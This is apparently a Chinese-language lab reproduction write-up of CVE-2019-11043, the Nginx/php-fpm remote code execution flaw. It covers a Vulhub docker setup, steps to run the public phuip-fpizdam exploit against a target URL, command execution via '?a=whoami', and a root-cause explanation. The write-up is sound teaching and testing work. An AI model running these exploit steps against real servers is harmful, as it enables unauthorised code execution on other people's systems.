在9 月 14 日至 18 举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,
向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。
而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。
攻击者通过精心的构造和利用,可以导致远程代码执行。

漏洞编号:CVE-2019-11043
漏洞 PoC 在 10 月 22 日公开。

0x02 影响范围

  • Nginx + php-fpm的服务器(php>5.6),在使用如下配置的情况下,都可能存在远程代码执行漏洞。

 location ~ [^/]\.php(/|$) {

        fastcgi_split_path_info ^(.+?\.php)(/.*)$;

        fastcgi_param PATH_INFO       $fastcgi_path_info;

        fastcgi_pass   php:9000;


  }
}

0x03 环境搭建

靶机:ubuntu, Vulhub,docker

命令集合
mkdir CVE-2019-11043
cd CVE-2019-11043/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/default.conf
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/docker-compose.yml
mkdir www
cd www/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/www/index.php
cd ../
service docker start
sudo docker-compose up -d
访问 http://靶机ip:8080/index.php


Nginx的PHP-FPM远程代码执行 漏洞复现(图2)


0x04 漏洞利用

poc是使用go语言编写的,这里已经编译好exe,提供下载
链接: https://pan.baidu.com/s/1bbV15sw-Yx-PX3LFIE2ggA 提取码: sven
  • usage:phuip-fpizdam.exe http://192.168.43.21:8080/index.php
    Nginx的PHP-FPM远程代码执行 漏洞复现(图3)

有go语言环境的可以直接运行
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go run . "http://your-ip:8080/index.php"
Nginx的PHP-FPM远程代码执行 漏洞复现(图4)
  • poc运行完毕后可以直接远程代码执行,?a=whoami
    usage:输入命令后,需要多执行几次刷新,以访问到被污染的进程。
    Nginx的PHP-FPM远程代码执行 漏洞复现(图5)


  • index.php源码

1-191113132FL64.png

0x05 漏洞成因

因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150
进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配
置生效的情况下可以触发任意代码执行。